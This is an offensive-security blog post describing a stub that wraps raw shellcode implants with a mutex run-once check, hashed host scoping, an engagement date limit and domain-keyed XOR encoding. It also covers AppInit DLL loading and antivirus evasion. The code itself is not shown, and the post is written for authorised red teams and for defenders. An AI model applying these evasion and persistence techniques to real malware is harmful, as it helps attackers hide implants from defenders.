Safer Shellcode Implants

Almost all simulated attacks will require, at some point, the installation of a RAT and the establishment of a command and control (C2) channel. Unless you use your own custom RAT, you have limited control over the code that you use; for example publicly available options include:

• Empire - https://github.com/PowerShellEmpire/Empire
• Meterpreter - https://www.metasploit.com/
• Cobalt Strike - https://www.cobaltstrike.com/
• Pupy - https://github.com/n1nj4sec/pupy
• Throwback - https://github.com/silentbreaksec/Throwback

There are three features that I have been looking for:

• A check to only allow the implant to run once (either per user or globally).
• Validation that the implant is being executed on the correct host or a host within scope.
• A check to ensure that the implant is not executed after a certain time (i.e. the end of the engagement).

I have considered this primarily from a persistence perspective but this could equally be applied to code that is executed in order to gain a foothold on the network. This post is written on the assumption that you have generated raw shellcode and wish to add the above functionality to it without rewriting the shellcode. I am aware that some RATs offer some of the above.

All source code is available at https://github.com/stufus/shellcode-implant-stub.

The simplest way of determining whether the implant is already running is to use a mutex; this general purpose is exactly what they are designed for. Mutexes in Windows can be created in the local namespace (effectively per user) or the global namespace (per system). Therefore, the code could:

1. Attempt to open a mutex called MWR-STUFUS-Implant.
2. If the mutex exists, quit.
3. If the mutex does not exist, create it and run the shellcode.
4. When the owning process exits, the mutex will also be cleared.

If the mutex name is prefixed with Local\, it will be created in the local namespace (effectively per user). If the mutex name is prefixed with Global\, it will be in the global namespace and therefore accessible to everything running on the host, even as other users. Therefore, a local mutex can be used to ensure that the implant does not execute if it is already running as that user. A global mutex can be used to ensure that the implant does not execute if it is already running on the system. The prompt for this project was a desire to create an implant DLL that could be executed using the AppInit system; AppInit DLLs are loaded during the DLL_PROCESS_ATTACH process of User32.dll. An implant that can be placed there will be loaded into almost every application which loads User32.dll, which is most of them, and could result in the implant code being executed thousands of times simultaneously if not checked.

Although some publicly available or commercial tools do not support this, it is important on a targeted attack to ensure that only the client is compromised. One of the methods of doing this is to hardcode certain client-specific identifiers into the implant to prevent execution on unauthorised systems. The technique that I have chosen has the side effect of being slightly more complex to reverse-engineer and is less likely to be detected by signature-based antivirus tools because of its custom nature. However, the primary purpose of this project is not to evade AV software, but to offer a solution to those who wish to promote implant safety but have not coded their own implants from scratch. However, the nature of these checks do have the advantage of disguising the true purpose of the implant which is an obvious benefit. I am hoping that this will help other attack simulation teams in the industry to develop safer implants and that it will also raise awareness amongst defensive teams to ensure that they can react to customised binaries. Those who have licenced versions of Cobalt Strike could also customise one of the artifact kits to include these techniques and anyone can create customised templates for Metasploit.

There are a number of ways of representing client specific information within the implant and I have discussed and demonstrated two possible options below.

The simplest way of ensuring that the code does not execute on an unauthorised host is to hard-code a host or network specific identifier in the binary and compare this value at runtime to the hardcoded value. The immediate issue with this approach is that it would be trivial to identify the intended target should the binary be acquired by a third party, which could draw their attention to the existence of the simulated attack. A safer approach is to store a hash instead of the raw data. For example, the following pseudo-code could be used to ensure that the implant only runs on the host MWR1.

The benefit of this approach is that it is very quick and effective. A variation could be applied if the hosts follow a known pattern (e.g. hash the first few characters), or multiple criteria could be applied such as the IP range, domain name, Windows owner etc.

Another option is to encrypt or encode the raw shellcode with a piece of information which is known at the time of creation and is available at runtime. This has the advantage that an unconnected third party who received the implant would struggle to identify its true functionality because they would have no idea whether the shellcode had been decoded correctly; execution would obviously fail too. It would also frustrate incident response teams or analysis teams because the implant would likely behave differently on their analysis systems. It would not defeat them but could be advantageous in that it would emulate a more advanced RAT without having to recreate customised position-independent shellcode from scratch. In this example, assume that the domain name (e.g. STUFUS) has been hashed using SHA1 and the resultant 20-byte hash (concatenated with itself multiple times if necessary) has been XOR'd with the shellcode in a manner not unlike a one time pad cryptographic operation in mechanism. The following pseudo-code illustrates an example of this:

This is a straightforward check; the simplest method is to retrieve the current year and month and ensure that they do not exceed the end of the engagement. The following simple pseudo-code would ensure that the code can only execute between 1st January 2016 and 31st July 2016. Obviously the day and time can also be included for more granular control if this is needed.

I initially implemented this in Win32 Assembly language using MASM32, and subsequently rewrote this in C. These two implementations are separate and have subtle differences, and I have discussed each one independently. Personally I prefer and use the assembly version. All source code is available at https://github.com/stufus/shellcode-implant-stub.

The barrier to entry when coding using MASM's high level syntax is nowhere near as high as you may imagine. Although you do need to understand assembly language, the macros and syntax that it supports do make the code a lot clearer and, where I can, I have used this syntax in order to keep the code as clear as possible. I have commented the code in some detail and hope that the combination of this narrative and the commented code will be enough.

Some of the best tutorials I found online are Iczelion's Win32 assembly tutorials, accessible at http://win32assembly.programminghorizon.com/tutorials.html. He has done some amazing work with MASM including Code Snippet Creator (accessible at http://win32assembly.programminghorizon.com/source1.html) which is a tool for manipulating PE files written entirely in Win32 assembly. I remember talking to him about it on EFNet about 15 years ago; its a tool for injecting assembly code into another EXE and sorting out the sections, alignment and relocation. That particular tool may seem a little manual by today's standards and you may want to change a couple of constants in the source code, but I still think its a very clever tool.

If you're interested in Win32 assembly, you could learn a lot from him. I certainly did.

The Microsoft Assembler (MASM) is available for download for free at http://www.masm32.com/. It contains an installer and a number of libraries. For the rest of this article, I shall assume that you have installed it in C:\MASM32. The source code can be found in the \stub-masm-exe directory, and compiling it is as simple as executing makeit.bat. This should generate a console window containing output not unlike the below:

The .data section can be considered to be the home of the global initialised variables. There are a few strings that are defined and I have left a testing messagebox payload in there as an example. I have also written a python script (raw2src.py) to convert raw shellcode to MASM and C's format; I have explained this further in the example below. The CheckExecution() function is the main function to read through; simply comment out any checks that you do not want to perform. It currently performs the following actions in the following order:

1. Checks that the current date is within the hardcoded limit (i.e. between January 2016 and July 2016 inclusive) and exits if not.
2. Checks that a SHA1 hash of the NetBIOS local host name matches the stored hash.
3. Checks whether the implant is already running and exits if so. The example uses a local mutex named Stufus; this has the effect of running once per session (in most cases, once per user).
4. Obtain a SHA1 hash of the domain name and XOR the stored shellcode against that name.
5. Run the shellcode.

For consistency, the CheckExecution() function is the main function in terms of invoking the various checks that have been discussed above. It currently performs the following actions in the following order:

1. Checks that the current date is within the hardcoded limit and exits if not.
2. Checks that a SHA1 hash of the NetBIOS local host name matches the stored hash.
3. Checks whether the implant is already running and exits if so. The example uses a global mutex named STUFUS; if this is present (i.e. the mutex is visible to all processes regardless of user), it will exit.
4. Obtain a SHA1 hash of the domain name and XOR the stored shellcode against that name.
5. Run the shellcode.

The flowchart below illustrates this process:

In order to demonstrate this, the windows/messagebox payload from meterpreter will be used because it is both safe and visual. However, this could easily be replaced with meterpreter, beacon or any other raw payload of your choice.

I have put together a very basic Powershell script (GetComputerInfo.ps1) which performs a small number of WMI calls to dump information relating to localhost; these could be considered a starting point for host-specific or client-specific identifiers.

There are far more options available, and I will leave it to you to choose attributes that are both practical and consistent across your target. For the purposes of this example, we will hardcode the computer name hash (TESTER) and use a hash of the domain name (stufus.mwr) to decode the raw shellcode.

Regardless of whether the ASM or C route is chosen, the raw shellcode will need to be XOR'd and refactored so that it can be included in the project source code. For those unfamiliar with XOR, it has two interesting properties. If "(A xor B) = C" then "(B xor C) = A" and "(A xor C) = B". The other property of XOR which is useful for cryptography is that if you XOR a value with something which is random, the output that you get will be random too (i.e. an equal probability of being 0 or 1); this is easily provable. Therefore, if we XOR the shellcode with a known value (the hash of the domain), and then XOR the result with the same hash, we will get the shellcode back. We also need to generate the hash of TESTER to store in the source code and I have written a python tool which does this:

For this example, we know that:

• The shellcode is in example-messagebox.raw
• The name of the host is TESTER and we want to store the hash of TESTER for later comparison
• The name of the the domain to which the host is attached is stufus.mwr, and we want to XOR the shellcode against the hash of stufus.mwr
• The syntax for C is different to the syntax for ASM

The code below will generate the above and format the result for compilation by MASM. Cut and paste it into the.data section of stub-exe.asm.

The code below can be cut and pasted into config.h.

Either use Visual Studio (C) or run makeit.bat (ASM) to generate the compiled binary. This can then be tested or executed on the target system.

Some techniques rely on the real payload executing in the same process and not (for example) spawning another process and then exiting the parent one; obviously the mutex check will not be effective once the wrapper process exits. There is also the obligatory criticism of hash function choices; for example, perhaps SHA512 or Keccak (SHA3-512) would be a better hashing algorithm choice, especially because it may negate the need to replicate and concatenate the hashes if the hash is large enough and the target shellcode is small enough. SHA1 is more than good enough for this purpose though.

There are numerous ways that this project can be extended; additional host indicators could be added or chained together, additional functionality could be introduced (for example, automatic persistence if the code is confident that this is a target system), the introduction of a 'kill switch' (e.g. withdrawal of a specific file or the introduction of one) etc.

I will at a later date, commit a DLL and Windows Service version of the above code in assembly language, which can be adapted for techniques such as AppInit loading. However I would encourage all readers to develop this in their own direction and to contribute ideas and functionality back if able to do so.